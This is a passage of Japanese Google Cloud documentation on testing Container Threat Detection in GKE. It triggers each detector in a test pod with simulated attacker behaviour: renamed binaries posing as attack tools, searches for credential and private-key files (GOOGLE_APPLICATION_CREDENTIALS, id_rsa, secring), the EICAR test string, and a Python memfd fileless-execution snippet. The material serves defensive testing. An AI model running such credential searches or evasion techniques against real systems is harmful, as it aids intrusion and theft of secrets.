このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Container Threat Detection の動作を確認する方法について説明します。Container Threat Detection は、Security Command Center のプレミアム ティアとエンタープライズ ティアの組み込みサービスです。Container Threat Detection の検出結果を表示するには、Security Command Center のサービスの設定で有効にする必要があります。
始める前に
コンテナに対する潜在的な脅威を検出するには、サポート対象バージョンの Google Kubernetes Engine(GKE)にクラスタが存在していることを確認する必要があります。詳細については、サポートされている GKE バージョンの使用をご覧ください。
検出機能を有効にする
次の検出機能はデフォルトで無効になっています。
Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container
これらの検出機能をテストするには、明示的に有効にする必要があります。
検出機能のステータスを確認します。
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
検出機能
Added Binary Executed
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
検出機能
Added Library Loaded
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
検出機能
Credential Access: Find Google Cloud Credentials
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=FIND_GCP_CREDENTIALS \ --project=${PROJECT}
検出機能
Execution: Program Run with Disallowed HTTP Proxy Env
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \ --project=${PROJECT}
検出機能
Exfiltration: Launch Remote File Copy Tools in Container
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \ --project=${PROJECT}
検出機能
Defense Evasion: Launch Code Compiler Tool In Container
を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \ --project=${PROJECT}
環境変数を設定する
検出機能をテストするには、 Google Cloud コンソールと Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。Container Threat Detection のすべての検出機能をテストするには、次の変数を使用します。
Google Cloud コンソールに移動します。
テストに使用するコンテナが含まれているプロジェクトを選択します。
「Cloud Shell をアクティブにする」をクリックします。
Cloud Shell で、環境変数を設定します。
クラスタが配置されているゾーン:
export ZONE=CLUSTER_ZONE
コンテナが含まれているプロジェクト:
export PROJECT=PROJECT_ID
クラスタ名:
export CLUSTER_NAME=CLUSTER_NAME
変数が設定されました。次のセクションでは、Container Threat Detection 検出機能をテストする手順を説明します。
追加されたバイナリの実行
「追加されたバイナリの実行」の検出結果をトリガーするには、コンテナにバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls
を別の場所にコピーしてから実行しています。イメージが Ubuntu 24.04 のものであっても、バイナリのコピーは元のコンテナ イメージの一部ではありません。コンテナの変更はできないため、このバイナリの実行は想定外の動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
バイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
ARM ノード:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により「追加されたバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのバイナリ実行の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
追加されたライブラリの読み込み
「追加されたライブラリの読み込み」の検出結果をトリガーするには、コンテナにライブラリをドロップして読み込みます。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/lib/x86_64-linux-gnu/libc.so.6
を別の場所にコピーしてから ld
を使用して読み込んでいます。Ubuntu 24.04 上のイメージであり、コンテナが変更されていなくても、ライブラリは元のコンテナ イメージの一部ではないため、このライブラリの読み込みは予期しない動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
ライブラリをドロップして
ld
を使用して読み込みます。x86 ノード:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
ARM ノード:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により「追加されたバイナリの読み込み」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「追加されたライブラリの読み込み」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「追加されたすべてのライブラリの読み込み」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
コマンドと制御: Steganography ツールの検出
Command and Control: Steganography Tool Detected
(プレビュー)の検出結果をトリガーするには、ステガノグラフィー ツールと一致するファイル操作機能を備えたバイナリがコンテナ内で実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして steghide
(または stegano
などの別のステガノグラフィー ツール)に名前を変更します。この動作は、悪意のある目的でデータを隠したり抽出するためのコンテナを準備しようとしている可能性があることを示すため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
steghide
などのステガノグラフィー ツール バイナリを実行します。x86 ノード:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
ARM ノード:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Container Threat Detection のロギングを構成している場合、このテスト手順により Command and Control: Steganography Tool
Detected
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: Google Cloud 認証情報の検索
Credential Access: Find Google Cloud Credentials
の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして、名前を grep
に変更します。名前が変更されたバイナリを、 Google Cloud 認証情報の形式を示す検索パターンを指定する引数を使用して実行します。このアクションは、 Google Cloud 認証情報の検索を試みたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
ARM ノード:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Find Google Cloud Credentials
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: GPG キーの偵察
Credential Access: GPG Key Reconnaissance
の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして find
(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、GPG セキュリティ キーの検索を試みたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
ARM ノード:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: GPG Key Reconnaissance
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: 秘密鍵またはパスワードの検索
Credential Access: Search Private Keys or Passwords
の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして find
(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、コンテナ化された環境内で秘密鍵やパスワードなどの機密情報を特定しようとしたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
ARM ノード:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Search Private Keys or
Passwords
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: Base64 ELF ファイルのコマンドライン
Defense Evasion: Base64 ELF File Command Line
の検出結果をトリガーするには、プロセスに引数として base64
と f0VMRgIB
(ELF
の base64 エンコード形式)が必要です。この例では、最新の Ubuntu 24.04 イメージを使用します。base64
を、-d
引数と f0VMRgIB
引数を指定して実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、2 つの Defense Evasion: Base64 ELF File Command Line
の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。最初の bash -c
コマンドと base64 -d
コマンドの実行が検出結果の条件を満たしているため、2 つの検出結果が生成されます。
防御回避: Base64 でエンコードされた Python スクリプトの実行
Defense Evasion: Base64 Encoded Python Script Executed
の検出結果をトリガーするには、プロセスが引数として echo
または base64
を使用している必要があります。また、引数として aW1wb3J0IH
(python -c
の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、aW1wb3J0IH
引数を指定して echo
を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Python Script Executed
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: Base64 でエンコードされたシェル スクリプトの実行
Defense Evasion: Base64 Encoded Shell Script Executed
の検出結果をトリガーするには、プロセスが引数として echo
または base64
を使用している必要があります。また、引数として IyEvYmluL2Jhc2gK
(#!/bin/bash
の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、IyEvYmluL2Jhc2gK
引数を指定して echo
を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を使用して、
find
などの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Shell Script Executed
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: コンテナでのコード コンパイラ ツールの起動
Defense Evasion: Launch Code Compiler Tool In Container
(プレビュー)の検出結果をトリガーするには、コンテナ内でコード コンパイラ ツールを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして gcc10
(または clang
などの別のコンパイラ)に名前を変更します。この動作は、コンテナ内で悪意のあるコードをコンパイルして実行し、検出を回避したり、その動作を変更する試みを示す可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を指定して、
gcc10
などのコンパイラ バイナリを実行します。x86 ノード:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
ARM ノード:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Container Threat Detection のロギングを構成している場合、このテスト手順により Defense Evasion: Launch Code Compiler Tool
In Container
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 追加された悪意のあるバイナリの実行
「実行: 追加された悪意のあるバイナリの実行」の検出結果をトリガーするには、コンテナに悪意のあるバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、シミュレートされた悪意のあるファイルを作成して実行します。シミュレートされた悪意のあるバイナリが元のコンテナ イメージの一部ではなく、このバイナリが EICAR テストファイルであり、脅威インテリジェンスから悪質と分類されたファイルであるため、このバイナリの実行は想定外の動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
EICAR バイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
ARM ノード:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Container Threat Detection のロギングを構成している場合は、このテスト手順により「実行: 追加されたバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に、「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「実行: 追加されたイナリ実行」の検出結果をすべて表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
実行: コンテナ エスケープ
「実行: コンテナ エスケープ」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls
を別の場所にコピーして、疑わしいツール(botb-linux-amd64
)の名前に変更し、追加の引数を指定して実行します。この実行は、コンテナ エスケープの試みと一致する動作をシミュレートするため、不審と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
botb-linux-amd64
などのコンテナ エクスプロイト ツール バイナリをドロップして実行します。x86 ノード:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
ARM ノード:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Container Threat Detection のロギングを構成している場合は、このテスト手順により「実行: 追加されたバイナリの読み込み」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: /memfd:
でのファイルレス実行
Execution: Fileless Execution in /memfd:
検出結果をトリガーするには、/memfd:
インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
ユーティリティを、/memfd:
の匿名ファイルにコピーします。コピーしたバイナリを実行します。/memfd:
でのバイナリの実行は、ファイルベースの検出を回避するためにメモリ内で実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
特権コンテナを作成し、bash を開いてコマンドを実行します。
x86 ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
ARM ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Fileless Execution in /memfd:
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: Ingress Nightmare 脆弱性の実行
「実行: Ingress Nightmare 脆弱性の実行」(プレビュー)の検出結果をトリガーするには、コンテナで nginx バイナリを実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls
を別の場所にコピーして Nginx バイナリ(nginx
)に名前を変更し、/proc
ファイル システムを参照する追加の引数を指定して実行します。このアクションは、Ingress Nightmare エクスプロイト(CVE-2025-1974)と一致する動作をシミュレートし、リモートでコードが実行される可能性があることを示しているため、不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
nginx
などの Nginx バイナリを作成し、/proc
ファイル システムにアクセスしながら実行します。x86 ノード:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
ARM ノード:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: Ingress Nightmare の脆弱性の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: Kubernetes 攻撃ツールの実行
「実行: Kubernetes 攻撃ツールの実行」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls
